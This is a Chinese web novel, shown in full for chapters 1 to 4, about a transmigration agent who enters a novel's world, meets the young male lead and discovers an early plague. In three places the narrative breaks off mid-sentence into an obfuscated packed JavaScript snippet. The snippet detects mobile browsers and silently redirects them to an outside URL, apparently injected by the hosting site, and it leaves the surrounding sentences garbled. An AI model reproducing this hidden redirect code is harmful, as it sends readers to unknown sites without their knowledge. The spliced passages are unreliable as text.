《男主觉醒了求我带他走》 1. 第 1 章 初遇 “我仰慕兰师已久,愿以江山为聘,求得兰师垂青。” 连珂念到最后一行,再往后翻,没了。 作者更到这里断尾求生去了,好听点说是开放式结局,难听点……算了,连珂对这些需要自己掺和攻略的世界没什么好说的。 系统及时地跳出来,说道:“宿主,你看,这次是你最喜欢的大女主剧本,女主最后女扮男装登基称帝,男主将江山拱手相让。” 连珂翻了个白眼。 “我问你,女主女扮男装是为了什么?” 系统回答:“顺利成为帝师,教导当时还是太子的男主君王之道。” 连珂又问:“你若当老师,好不容易把学生培养成才,满心指望学生独立后,自己好退休解放,结果学生发表了一篇震惊中外的学术论文后转头洗手作羹汤,你什么心情?” 系统沉默了。 连珂说道:“女主要真满意这个结局,就不会来找我们了。你呀,还是不了解人类。” 系统辩驳道:“上次那个任务世界,你不就一脚踹了男主称帝了吗?” 连珂不紧不慢道:“我们这算服务行业,一切按照客户的想法来。上回女主要的是不被时代束缚,我就帮她得偿所愿。” 系统:“这回有何不同?” 连珂没回答,只是合上剧本,走到书架旁。书架上是她经历过的所有任务的原剧本,按照内容分门别类摆在不同的位置。 这一本《君王追妻,帝师慢点跑》,她没放在狗血爱情分类,而是放在一个没有署名的角落,零星摆着几个毫无关联的剧本。 系统以前不是没有好奇过这里到底是什么类型,但连珂从不回答。 系统学乖了,后来不再追问。 但这次,连珂放完剧本后,手指抚着书架的木框,眼中难得闪过几分怀念。 半晌,似是叹息般轻声道了一句,“这里,叫作‘回家’。” 系统没听清,再问时,连珂又不愿意说了。 连珂很快调整好状态,伸了个懒腰,走到调试台前,熟练地操控旋钮,将自己的意识链接进方才看的剧本中。 只可惜,手一滑,某个按钮出了差错。 魂穿变成了身穿。 再一睁眼,连珂掉进了一处荒山。 她抖抖衣服上的灰尘,发现抖不干净后,用积分在系统商城里兑换了一套古装。 款式寻常,就是架空世界里会出现的那种与时代无关,有点古味就够的对襟。 她又用着之前的经验,随手捡了一根树枝,把及腰长发灵巧地盘起来。 这类剧本中的荒山,总免不得有一处天然的澄清泉水,连珂跟踪着晚归的候鸟,果然没多久就找到了可供洗漱甚至饮用的干净池子。 池水清澈见底,附近有一些鸟类正驻足饮水,且鸟不怕人,连珂走近了也没散开,反而一个个靠近连珂,轻轻啄她的手心。 这是连珂之前在某个修仙世界里,扮演掌握驯兽技能的废柴女主时,兑换的永久技能。 不仅能得到大部分飞禽走兽的亲近,还能听懂兽语。 就比如,现在这群白鸟就在聚堆吐槽:“兄弟们,谁家好人喂鸟不带食啊。” 一个扑扇着翅膀,张喙就来: “亏得她长得这么招兽喜欢,原来是个抠门的。还不如之前那个傻小子,好歹时不时给咱狮子大人塞牙缝。” 又有一个附和道: “说来确实好久没看到他了,也算是功夫练到家了,上次被他的混账后爹扔到山上喂狮子大人,全须全尾就回去了,还反咬了咱狮子大人一口。” 鸟类叽叽喳喳吐槽时向来不会避着其他物种,当然,它们也不会知道,人类竟然会把它们的声音比作悠扬的乐曲。 自从连珂听得懂它们的议论,本就不通的浪漫情怀又被重重蒙上一层水泥。 她得到了自己想要的信息。 还喝了水补充体力。 山泉水一般情况下,再清澈也是不建议直接饮用的。 但连珂不是一般人,她不仅跟系统兑换了“绝地求生”技能,在过去的一个闹饥荒的任务世界里,创下啃光方圆百里树皮的壮举。 而且她可以凭借经验,靠水的味道,判断这个地方的大致气候以及可能的自然灾害。 就比如,这次…… 连珂仔细回味了一下,评价道:“前调清冽,中调略微呛口,尾调嘛……挺堵嗓子的。怪不得是荒山,再来几次滑坡这处泉眼就得堵。” 系统姗姗来迟,没堵住连珂那张信口开河毫无根据的嘴。 系统无奈道:“宿主,那次饥荒对你影响就这么大吗?都过了那么多个世界了,怎么还改不了见到水就嘴馋的毛病。” 连珂不语,只是一味喝水。 在这期间,系统帮她理了一下事情脉络。 由于连珂操作失误,魂穿变身穿,还随机降落在这么一个鸟不拉屎的地方。 系统费了好大功夫才从原定的丞相府定位到连珂的坐标,一路追过来。 系统:“男主他……” 连珂抬手打断,打了一个醉嗝。 天知道为什么,连珂自从那次饥荒后,就染上了醉水的奇怪症状,一喝水就醉。 系统试图调整过,但水不是像酒那样,可以戒掉的,最后只能放任。 好在连珂醉水后脸不红心不跳,说话做事都如常,久而久之系统都快忘了这个设定。 连珂道:“咱找到男主了。” 系统不可置信:“这里离丞相府不说十万八千里,也是古代车马轻易赶不到的距离,和男主有什么关系?” 连珂歪头,“时空是一块儿调整的,咱降落地点随机了,时间自然也随机了。” “系统啊,你怎么跟着咱,越来越不靠谱了,嗝。” 连珂这次的醉水症状似乎格外严重,除了外表尚且无恙,隔着脑中芯片,系统都能感觉到明显的醉意。 连珂醉了的一大症状:说话自称从“我”变成“咱”,尾音上翘得像狐狸尾巴。 与此同时,拥有超凡的行动力,想到的事情必然在下一秒就要做到。 果不其然。 系统还未来得及和连珂商讨,连珂的坐标就一溜烟消失了,好久都没有恢复定位。 系统这才注意到它忽略了什么。 连珂经历太多世界,自带的永久技能太多,这次没和系统一起穿越,甚至没链接原主的身体,很多不该属于这个世界的技能都保存了。 系统匆忙调出面板,封印了修仙界相关技能,尤其是刚才连珂展现的瞬移。 封印时,系统是看得见连珂使用过的技能列表的。 绝地求生、饥不择食、万物灵长、瞬移……这些都见识过了,把后面两个破坏平衡的封了就是。 但系统在一个提示前顿住。 面板显示,连珂来到这个世界后,使用的第一个技能,是“起死回生” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15045280|162692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 这个“起死回生”大有来历,是连珂完成第八百八十八个世界后,笑着和系统说:“这数字吉利,我喜欢。” “那么,现在把我的积分清零,我要换商城没有的东西,如何?” 后来的事,系统并不清楚,因为它没有这个权限。 只知道连珂似乎得到了和快穿公司的最高层见面的机会,回来后,连珂积分就清零了。 与此同时,她的技能列表多了一个原先没有载入系统的新技能——起死回生。 使用次数限制在一次。 作用是可以让任何世界的任何事物在任何时间任何地点重生。 使用条件宽泛到可怕,在此之前,公司历史上都未出现过如此不算条件的条件。 只是后面连珂一直没使用,那之后也一直疯狂接任务,重新攒积分。 到目前,几乎又是新一轮的千重世界了……结果竟然这时候把技能用了? 系统百思不得其解。 但它更不能理解的是,为什么自己在下意识帮连珂拖延时间,用不该出现在正文里的大段语句屏蔽高层的感知。 它下意识地,没有把这件事转告总系统。 无论是连珂无比“不小心”地按错了操作数万次的旋钮,还是连珂一来就使用了这个传说级技能……它都下意识地瞒住了。 花开两朵,各表一枝。 这边连珂到了所谓的“狮子大人”的住所,方法嘛,系统封锁技能不够及时,早在系统出现前,连珂就从鸟的吐槽中把整座山的形势摸差不多了。 在这里,连珂理所当然地见到了那个“傻小子”,也就是本书的男主。 现年十三岁的沈绛川。 沈绛川目前和狮子算得上相处融洽,连珂过来时,两只窝在一起分肉骨头:沈绛川在一边烤肉,狮子啃肉骨头。 见到一个陌生的女子出现,沈绛川起身行礼,露出一个纯良的笑容。 “姐姐是奉父王之命,接我回家的吗?” 如果忽略沈绛川袖口藏着的狮牙制作的匕首,以及沈绛川身后摆出攻击架势的狮子,连珂很愿意给他一个大姐姐的微笑。 头疼呦,小崽子一开始就长歪了。 连珂说道:“不是。” 沈绛川丝毫没有放松戒备,只是笑着看她,“姐姐看着面生,身手倒是不错,这山路陡峭,稍一不慎便会跌落万丈深渊。” “不如姐姐和我回去,我请父王让你做宫里的侍卫,好过在山野待着,看着老天爷的脸色过日子,如何?” 连珂没搭理他的威逼利诱,在他死死盯着的视线下,坦然抬起双手。 ——然后以迅雷不及掩耳之势,把柴火上刚烤好的鸟串塞进嘴里。 沈绛川的匕首尴尬地顿在半空,原来,他见这陌生女子不言不语,却朝他疾步赶来,双手呈扑抓之势,一看便是要锁喉取他性命! 他便闪身空出半个身位,只待女子扑空,他就乘势将匕首刺入她的心脉,再不济也要刺入腿中,了结这般诡妙身法。 瞬息之间,他已想了几种不同的应对方法,自认就算技不如人,也要同归于尽。 但沈绛川无论如何都没想到,连珂真的只是馋那一口烤鸟,谁家醉了不配点荤菜。 “手艺不错。”连珂满不在乎离她脖颈不到一寸的匕首,真诚地夸赞道。 果然,这类小说里,男女主总要有一个会做饭的,并且这项才能通常会赋予追人那方。 2. 第 2 章 觉醒 沈绛川收回了匕首。 即使再不甘心,看到连珂神色自若的模样,也明白这匕首明面上对她不算威胁。 只能放回暗处伺机而动了。 连珂把这些小动作看在眼里,却不放在心上。 沈绛川作为男主,拥有模版化的标准悲惨童年,爹不疼娘不爱,忽视年龄限制,被作者硬是安排了一身能和狮子徒手搏斗的武功。 虽然文中反复强调他是如何被亲爹残忍地扔进荒山狮窝中等死,强调他是如何凭着坚韧不拔的毅力一次次爬回王府。 但不得不说,他是被作者偏爱的。 否则早被狮子一口咬掉头,或者像此时还未登场的女主一样,一出场就面临生死威胁,却毫无应对能力,只能等待英雄救美。 连珂作为老练的快穿攻略部工作者,自然接过不少——拯救这类小时候被虐待的扭曲男主的活。 一般要趁着男主还小时,穿越过去温柔抚慰,用甜美善良感化那个捂不热的死冰块,最好来一场壮烈凄美的赴死稳固地位。 正所谓富贵险中求,生死一线破好感峰值。活了追妻火葬场,死了也是火葬场。 只是一路走到现在,连珂多少有些腻了这样的老套剧情。 看着眼前还阴嗖嗖地盯着她的男主,连珂咬下最后一块烤肉,诚恳地将空了的箭矢递过去,请求道:“再来一串。” 烤鸟是用箭矢串起来的,方便省事,射下来直接就能放火上烤。 通过这点,连珂也能判断出,这个剧本设定相当简单不过脑。 去除了拔毛调味等种种步骤,做出来的也是人间美味。羽毛在烧烤过程中自行脱落,肉质天然可口,无需任何雕琢。 正是这样可以忽视细节的剧本才方便发挥啊,连珂心想。 毕竟这种细节是要体现在方方面面的,一处有漏洞,就说明处处有漏洞。 而像她这样的老油条,最知道靠着漏洞走攻略捷径了。 这边,沈绛川接过箭矢,任劳任怨地重新串了一只鸟,继续烤肉。 连珂调侃道:“按江湖规矩,你主动收了武器还干活,是不是说明你甘拜下风?” 沈绛川比连珂预想中好一点,挂上熟悉的假面笑容,恭敬地说道:“若早知姐姐这么厉害,我哪敢对姐姐无礼。” “此话怎讲?” 沈绛川说道:“方才虽未与姐姐正面较量,但姐姐战斗时的英姿……” 没等沈绛川长篇大论地给连珂戴高帽,连珂不耐地摆手,“无需恭维,有话直说。” 沈绛川道:“姐姐不像这里的人。” “嗯?” 连珂抬眸,手放在脑后,就近倚靠住旁边不敢说话不敢动的狮子。 她的手指屈起,在沈绛川看不到的角落,摸到头后部放置芯片的地方。 直觉告诉她,沈绛川接下来会告诉她一些不得了的事。而她一向相信直觉。 既然如此,只好委屈一下被“不可抗力”拖住,暂时不能陪她同步攻略进度的系统啦。 沈绛川说道:“姐姐是唯一一个,我的匕首不能近身之人。” “此言差矣,”连珂纠正道,“刚才是你主动收了匕首,不然你借势再往前刺一下,岂有戳不中的道理?” 话虽如此,连珂的眼睛却亮晶晶的,连那点若有若无的醉意都散了。 分明是期待着眼前的孩子驳倒她。 沈绛川如她所愿,解释道:“姐姐,我说的‘近身’,或许并非武功之能,而是……” “而是什么?”连珂配合地追问。 沈绛川犹豫片刻,终是开口:“命数。” 连珂终于有了点兴趣,抬了抬下巴,示意他继续说下去。 而她本人,默默抢过沈绛川烤了一半的鸟串塞进嘴里。果不其然,男主出品,就算半熟也和全熟无甚差别,美味无需等待。 沈绛川支支吾吾和连珂说了很多,之所以说是“支支吾吾”,是因为沈绛川实在有些难组织语言,几次三番停顿下来,否定前面的话,再补上新的推论。 可以看得出来,以前沈绛川没和任何人说过这些话,甚至没和他自己说过。 连珂听着,大致就是,沈绛川觉得自己的命数有异,纵使未得亲情宠爱,却回回大难不死逢凶化吉。 “更诡异的是,”沈绛川看向连珂手中半熟更胜全熟的烤串,补充道:“如您所见,我只要想做的或在做的,没有不成功的。” “烤肉即使不用心,放一秒也能熟,放一个时辰也不会糊;匕首更是……说来见笑,在您之前,我有过些许尝试。” “只要我有进攻的心思,无论对方是强是弱,哪怕是虎豹豺狼,或者训练有素的杀手,只要我想赢,我的匕首就一定能刺进去。” “先前面对大黄,对,就是这头狮子。我是很怕的,我那时太小了,别说拿着武器搏斗,想不发抖地站在它面前都很勉强。” “但当时大黄没吃我,只是把我叼着扔出它的窝,接着我又‘幸运’地被路过的游商一路带回了王府……此后几次,我都是这般‘幸运’,一直到我现在有了让大黄臣服的能力。” 沈绛川省去了其中一些经过,比如原作中作者反复强调的受伤和生死搏斗,省去了他在王府不舍昼夜地练武的辛苦。 连珂作为唯一的听众,对此颇感意外。 沈绛川最后说道:“姐姐,您是唯一一个能破了我这诡异命数的人,或许您知道些什么。我贸然说您不属于这里,不过是些不着边际的话,只为引您将我的故事听完。” 连珂作为一个合格的听众,听完这么一大段话,适当地表现出一系列安了心的神态和动作,包括但不限于: 她若有所思地点点头,不自觉脱口而出:“吓死我了,原来没觉醒啊。” 说出口后却又神色一僵,余光打量沈绛川的神情,见其面色如常,这才长呼一口气,找补道:“我说我没睡醒,哈哈,你别误会。” 精彩的表演。 连珂深感自己这番演出对得起自己在其他世界中取得的无数视后影后。 但从讲述者转变为观众的沈绛川就不一定那么认可了。 沈绛川在装,连珂明白。反过来,连珂在隐瞒,沈绛川也明白。 这隐瞒里还带了些别的味道,似乎是故意想提醒他什么。 看到男主也一副若有所思的模样,连珂狠狠咬了一口手中的烤串,便扔下骨头扬长而去。 “等你想清楚那天,我们会再见面的。” “觉醒”二字就是最大的提示了,至于能不能醒悟,就得看男主自己的悟性了。 连珂没用轻功飞上几步,就单脚靠在悬崖边,一手扶着崖壁,一手死死抓着头发,固定发髻的树枝早摔下高空,不见踪影。 “该死的!来这么快!” 在脑中植入的芯片开始了疯狂的报复, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15045281|162692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 每一根神经都在叫嚣着剧痛。 “不过就是把你关停了一小会儿,怎么这么大火气,高科技产物过热是要损坏的呀。” 连珂试着和它商量,却不过是徒劳。 这芯片也是会找时机,下山的路是不可能完全绕开悬崖峭壁的,高低是得爬几次。 而连珂习惯了飞檐走壁,芯片就专挑连珂卡在岩壁间、上不去下不来的时候发力。 抬头是不能借力的陡坡,低头是掉落都要掉一个钟头才有声的深渊。 连珂在心里默数。 十、九……一。 “宿主!挺住啊,我这就给你兑换钩索!” 系统的机械音在耳边响起,连珂头回觉得这聒噪的机械音还透着几分亲切。 连珂疼得头发都被汗黏湿在额头,却还有闲心开玩笑:“我的积分够兑换一架直升机的吧?那玩意儿不比钩索好用多了嘛。” 系统有些为难,“宿主,之前用修仙技能已经违规了,更别提把现代的交通工具搬过来。” 连珂虚弱道:“可是钩索……我现在也没力气去扯着爬上去。”她的手也被汗打湿了,抓不紧麻绳,打滑了更麻烦。 她不害怕这样的绝境,甚至不害怕死亡,唯独是怕疼,一疼她就毫无办法。 是以这么多年被芯片拿捏得死死的。 系统:“检测到宿主落难原因,报告显示,自作自受,总系统批回援救请示。” 连珂无语道:“要不要这么绝情啊。” 系统和连珂僵持不下。 最后还是连珂妥协:“行吧,那用积分给我兑换个舒服点的被窝。” 系统诡异地陷入沉默。 良久,它才确认自己听力模块并无障碍,机械声竟诡异地掺杂了一丝将信将疑的味道,“在几乎九十度的断壁上?” “嗯嗯,千真万确,换吧。” 连珂已经有些说不出话了,头皮炸裂一样的突突直跳,芯片像是要活活从她的大脑里生根发芽,好在散落的长发遮挡了惨白的脸。 “叮”被窝兑换成功。 眼看着系统真打算把被子直接披她身上,连珂连忙阻止,“等等,被子沾了水太重,到时候没法游泳,一会儿上岸再说。” 系统:“原来宿主不是想大难临头睡过去?” 连珂无语,“拜托,我现在用的是真身,在任务世界死了就是真死了,哪能用这个开玩笑。” “这个世界逻辑并不严谨,再加上比较古早,按理来说,我从悬崖上掉下去,下面必是自带免伤功能的水面,多高都不会摔死。” 连珂此前常说:“我不懂物理地理,但我懂怎么在快穿世界活下去的道理。” 对此,系统自愧不如。 连珂说跳就跳,没有丝毫犹豫。 可惜悬在了半空。 连珂把头发从眼睛上拨开,心道确实是疼得快失去知觉了,怎么都没躲过去。 一个绳圈套在她腰上。 绳子的另一头系着被强行赶到崖边的狮子,正用吃奶的力气把她从半空往上拽。 “咚”的一声,连珂被甩到狮子身后的树上,眼看着要被重新弹回崖底,连珂凭本能抓了个趁手的物件,强行在崖边刹住脚步。 连带着那个物件也沾了光,死里逃生。 连珂一低头。 嚯,老熟人,沈绛川。 她抓的正是沈绛川的头发。 3. 第 3 章 异样 沈绛川想来是发挥了男主的主观能动性,做到了比掉进水里无伤更离谱的事——相距百里垂直套人,套中了还拉回来了。 连珂一时无力吐槽。 沈绛川一脸纯良,也没整理抓得乱糟糟的头发,“姐姐,我追上来了哦。” 连珂把绳子从她腰上拽下来,再顺便给旁边累得气喘吁吁的狮子顺毛。 “我说的是,你想明白的时候,我们会再见面。” 沈绛川不置可否。 “我知道姐姐肯定有别的法子自救,但今日放走了姐姐,再想找到姐姐恐怕就难了。” 被男主一口一个“姐姐”的叫着,连珂扶额,再怎么说现在的男主才十三岁,在连珂眼里不过是个小屁孩。 充其量是个有点早熟的小屁孩,眉眼都还稚嫩,谈好感度都只能谈亲情。 系统及时跳出来公布:“沈绛川好感度:0,素不相识。” 连珂一边敷衍沈绛川,一边在脑中回复系统:“废话,你显示的好感度是男主对女主,女主此刻还在丞相府,从未见过男主。” 系统试图调整,调整失败。 此前连珂都是直接用的女主身体,这下独立出来,它的模块还没来得及更新。 “但是这样的话,宿主要怎么保证任务完成?” 连珂只是避重就轻:“你记住,我们接的是女主的单子,完成的是女主的愿望。” “她要的,可从来不是好感度。” 芯片的反噬有所减轻,一方面是时间过去了,另一方面是,连珂眼前有个天然的取之不尽的能源——男主。 准确来说,是男主身上凝聚的这个世界的气运。 快穿系统运转的主要能源就是从各个小世界采集的气运,连珂脑中的芯片也不例外。 吃饱了自然就安静了。 头痛缓解,连珂接过沈绛川递来的帕子,也不嫌弃,把脸上手上疼出的汗都擦了擦。 再找个树枝把头发挽起来,就又是沈绛川初见时的模样,毫无差别。 仿佛方才惨白的脸色不过是沈绛川看到的幻觉。 注意到沈绛川的视线,连珂转头,“你猜到了多少?” 沈绛川:“您方才的险些失手,和告诉我那些,或听我说那些,有关吗?” 连珂眯了眯眼睛。 这下,可真就有点意思了。 虽然是她有意引导这个局面,但男主还真就比她想的更上道。 系统疯狂发出预警,连珂设置了静音。 可是,沈绛川却没再说下去。 他面色凝重,眼神复杂地看着连珂。 终是卸下了那层假面。 后来,两人一狮就这么各怀心思地、凑合着在山洞里歇息。 连珂换的被褥有了用处,她装酷作样地去山上转了一圈,然后扛回了一床鸭绒被。 问之,则曰:“我捡的。” 连珂本着尊老爱幼的传统,先尊老,自己盖着这被子睡了。 沈绛川自觉把可以靠着的狮子让给她当床垫。 狮子“大黄”似乎颇有不满,但在沈绛川的默许下,不得不趴在那儿装死。 山林的夜晚不像诗中说的那么幽美,最要命的就是数不尽的藏匿的蚊虫。 沈绛川烤了火,坐在火边,迟迟不睡。 连珂枕着狮子,盖着鸭绒被,在脑中联系已经解除静音的系统。 “女主那边情况怎么样了?” 系统:“按理来说,您应该穿越到男女主在丞相府初见的时候。彼时女主方锦瓷是丞相府的千金嫡女,男主沈绛川是辰王府不受宠的庶子。” 连珂一听到“嫡庶”二字就头疼。 “现在呢?” 系统:“女主被女配推入水中,这时本该有男主英雄救美,但男主……” 连珂接话:“在我这儿。或者说,在离丞相府不知多远的荒山上。” 系统补充道:“女主也没参与剧情,她陷入不明原因的昏迷,至今仍未苏醒。” 没等系统质问,连珂撇清嫌疑,“这可不是我干涉的,我穿越之前,男主就在山上了,女主也昏迷了。从一开始,剧情就不可能步入正轨,初见双方连见面的条件都没有。” 至于原因,猜也猜得到。 不过是已经有觉醒苗头的沈绛川,本能地抗拒一些命中注定的事情。通俗点,就是小崽子正好在叛逆期。 辰王去丞相府和老友叙旧,各自的孩子又都到了适婚年纪,明眼人都知道叙旧多半是个幌子,两家门当户对,议婚在即。 沈绛川不受宠,甚至出身存疑,按理来说这种场合与他无关,原著他是作为大哥的随从跟去的,现在嘛,他逃得要多远有多远。 连珂明白,系统不可能不知道男主本身出了问题。但系统还愿意站在她这边,不上报总系统男主的异常,连珂就很感谢了。 只是这样的日子不可能维持太久。 而女主……说实在的,连珂知道的并不比系统多。 对于女主,连珂只能先做到不夺舍她的身体,还她自由。 要是连珂用女主的身体完成任务,无论结局如何圆满,委托方都不可能满意的。 系统:“宿主,你有什么瞒着我,是吗?” 连珂回过神,敷衍地“嗯”了一声。 “这个任务世界,对你很重要?” “是。” 点到为止,看连珂没有继续说下去的意思,系统没再追问。 这么多年,他们多少也培养出了些许默契。 “任务进度我会实时跟进的,既然不看男女主好感度……” 连珂说道:“直接显示任务进度,数值采用委托方的满意指数。” “好的,宿主。” 对话结束,连珂疲惫地睁开眼睛,沈绛川坐在柴火边,已经睡熟了。 到底是小孩子啊,连珂摇头,过去把他扶到一边的草堆上。 在旁边守了一会儿,良心莫名长了出来——其实是收集够了能源,确保芯片暂时不会抽风。 连珂把鸭绒被留给沈绛川,自己飞檐走壁下了山,这回没有芯片干扰,她疾步如飞。 等朝霞穿过树叶投下驳杂的光线,连珂早就到了邻近的村庄歇脚。 她不想和村民有过多接触,却没忍住去井口舀了一瓢水。 这一舀,便出了事。 连珂提前跟系统打了招呼,确认自己“百毒不侵”的技能还未被封禁,这才放下心一饮而尽。 “疫病的味道啊……”连珂喃喃。 倒不是说尝出病菌的具体滋味,只是凭借经验,这水味道不对,小酌无妨,大饮伤身。 原作里提过一场席卷南北的大瘟疫,源头就在饮用水。 这场瘟疫令大泽王朝元气大伤,甚至皇帝也因此薨逝,皇子皇女无一幸免。 男女主正是在这场瘟疫中力挽狂澜,成为民心所向,有了名正言顺争夺皇位的资本。 先不提以上剧情中,主角是怎么兵不血刃地干掉所有皇位继承人,还给自己留个清白名声的。 就说这时机。 “按理来说,瘟疫爆发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15045282|162692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的时候,沈绛川都及冠了,彼时丞相因谋逆罪被满门抄斩,幸存的方锦瓷女扮男装成为沈绛川的门客宁兰……离现在,怎么说也有个五六年才是。” 连珂又舀了一瓢水,送给系统化验。等待过程中,她重新调出剧本页面翻看。 原作记载,这场瘟疫的一大特征就是导致不明原因的昏迷,中途也会醒转,但每次醒来都会丧失五感中的一种,再陷入昏迷,直到五感尽失,变成一具“会呼吸的尸体”。 “不明原因的昏迷……有点耳熟啊。” 连珂第一时间想起系统提到的方锦瓷现状,顿感头疼,“如果真是那样,可就棘手了。” 连珂继续翻找相关的细节,直到系统带着检验报告回来。 连珂轻手轻脚离开院子,没被任何人发现。临走前还用积分换了一包解毒粉投入井中。 只能起到抑制效果,无法根治。 因为这算主线剧情,不可能让她随便跳过。 这次系统的积分商城甚至没提供任何解毒或医术相关的东西,连珂用的还是自己的库存。 找到一个安静无人的地方,连珂通过芯片查看系统递来的检验报告。 系统:“宿主,有一个好消息和一个坏消息,你要先听哪个?” 连珂:“坏消息吧。” 系统:“确实是原作提及的瘟疫,不知为何提前出现了。” “好消息呢?” 系统:“水中的病毒尚在潜伏期,距离真正引发疫病还有将近一年时间。这水目前还是无害的,只是宿主对水的口味过于敏感。” 连珂松了一口气,“也行,白浪费我一包解毒粉,确实是好消息。” “但是系统,能否查询女主昏迷与此事的联系。” 系统沉默半晌,才讷讷道:“这个,恐怕得宿主亲自跑一趟了。” “可以。”连珂即刻起身,甚至第一时间开始想怎么混进丞相府。 “按着原作剧情……不,现在剧情一团糟。” “那就按常理,方锦瓷一直昏迷,丞相府应该会广贴告示悬赏名医,我只要去近一点的城镇撕下悬赏令,忽悠几句,让人护送我到京城,去丞相府里见方锦瓷即可。” 连珂三言两语把接下来的路安排清楚,系统根本没找到插话的时机。 就像是……连珂早就决定好了这么做,从一开始就不指望系统能帮忙。 连珂估量着余下的积分,她这么多年留下的积分自然数不胜数,即使中间清空过一次,也够把商城从头到尾买一百遍还有余。 可惜每个任务世界有自己的限制,在单个世界可支配积分数量是有上限的。 连珂已经花了一部分积分买衣服和被褥,之后就要精打细算了。 才怪。 连珂直接花一半上限的积分买了一匹号称日行千里的汗血宝马,并赠送普通皮肤一套,把良驹打扮得和拉磨的驴没什么两样。 就算骑着这匹马,也要花足足三天时间,才能到达最近的张贴告示的城镇——落英镇。 可见沈绛川叛逆期能跑多远。 “原作里沈绛川时不时就被辰王扔到这儿‘历练’,该说不说,双方都挺有毅力的。” 连珂下了马,把马随便拴在客栈边上,反正下了狠功夫伪装,不用怕被人觊觎。 她没立刻按计划去揭悬赏,而是用积分换了几两碎银,去找个客栈歇脚。 客栈有个独特的名字,叫“不归客”。 位置也很独特,不在闹市街巷,而在死胡同里,需通过一道暗门才能抵达。 4. 第 4 章 梦谕 系统:“所以说,宿主是怎么确定这死胡同的墙上有暗门,暗门里边还有一间客栈的?甚至宿主知道客栈的名字?” 系统和宿主,除特殊情形外都是如影随形,两个又都是初来乍到,按理对这个新世界的认知是半斤八两。 但就这几天的经历来看,系统明显发现,连珂有许多超出剧本以外的经验。 连珂自知瞒不过去,打了个哈哈,“我说是梦到的,你信吗?” 系统发出质疑:“宿主从不做梦。” 连珂耸肩,“以前不做,就不允许我现在做了吗?反正这世界古怪的地方多了去了,也不差我这一遭。” 系统:“具体是什么样的梦?” 连珂装模作样回忆了一番,最后一拍脑门,恍然道:“梦境岂能记得那么清楚呢?我也只记得,在梦里,落英镇上是有这么一间客栈的。” 系统:“宿主,我可以调取你脑中的芯片,判断情况是否属实。” “可以啊,”连珂爽快地答应了,“反正我若真的不记得,你也调取不到什么。” 如她所说,系统翻找了一通,也只能凭波动判断连珂确实连着几个晚上都在做梦,却无从调取其中的具体内容。 系统不得不认栽,“是我误会宿主了。但我确实是第一次在宿主身上看到这样的波动,宿主在之前的世界里可是从来不做梦的。” “嗯哼。”连珂不置可否。 在系统检测期间,她一直在尝试打开……不,还没到这一步,她甚至还没找到暗门具体在哪里。 把死胡同的墙从上到下全检查了一遍,也没什么线索。 连珂一摊手,无奈道:“算了,你试试吧,看看剩余的积分够不够开门的。” 在任务世界里,向系统的每次请求,都会消耗一定量的积分,这是不变的规则。 当然,拌嘴不算。 系统应允,尽职尽责地动用权限查看,终于找到了机关所在——镶在墙壁最边缘,绕着墙爬了一周,需要一点点把碎片收集起来再拼上,才能让暗门显现。 系统顺手就要把机关解开,被连珂及时后台掐断电源。 连珂嘴上喊着“该省省,该花花”,身体就已经利落地窜到墙上找碎片了。 被迫断电重启的系统:“……” 连珂对付机关有一点点经验,是毫无谦虚成分的“一点点”经验。早期她确实是自力更生,悬疑恐怖各种世界上千万个机关样样精通。 可惜那次与总系统交易“起死回生”技能后,不仅积分清零,一些记忆也作为代价被回收。 再后来,连珂也没什么重新培养的意识,便愈来愈多地依赖系统。 得到系统提供的方位后,连珂很快把碎片收集好。通过碎片上的图案,大致可以判断出拼合完整后是一幅山水画。 连珂再次陷入了沉思。 不是说山水画不好,而是她确实没什么艺术细胞,连艺术细菌都不肯寄生一下。 山水画,尤其是泼墨山水画,连珂是很难找到其画笔流向的。 更别提这碎片颇具巧思:极难找到勾线的痕迹,全都隐在大片的墨迹和留白中。 直白讲,这一堆碎片在连珂眼里是这样的:全黑、全白、半黑半白、上黑下白…… “嘶,待我细细看来。” 很快,连珂凭借其出色的审美观,将水拼在山头、山拼在天空,诠释造物的无限可能。 系统几次欲说话,都被连珂以“省积分”的理由制止。 系统不解:“那宿主先前要的衣服、被褥、汗血宝马、银两算什么。” 连珂义正严辞道:“我不能凭空搓出一匹汗血宝马,但难道还拼不出图吗?” 系统无言以对,只得静默等待。 少顷,太阳行将西下,连珂倚靠着墙壁,抓着手里的碎片看来看去。 那张碎片用黑白的对比凸显出了一个泛白的光圈。 她问:“这是月亮吗?” 多次被拒绝的系统选择暂时闭麦。 “山势我不懂,但流水应该是这么走的,然后找光晕,不对,没有明显的光晕……那就这样,对,这里的水是甜的,那边的不好喝……再排一排顺序,差不多了。” 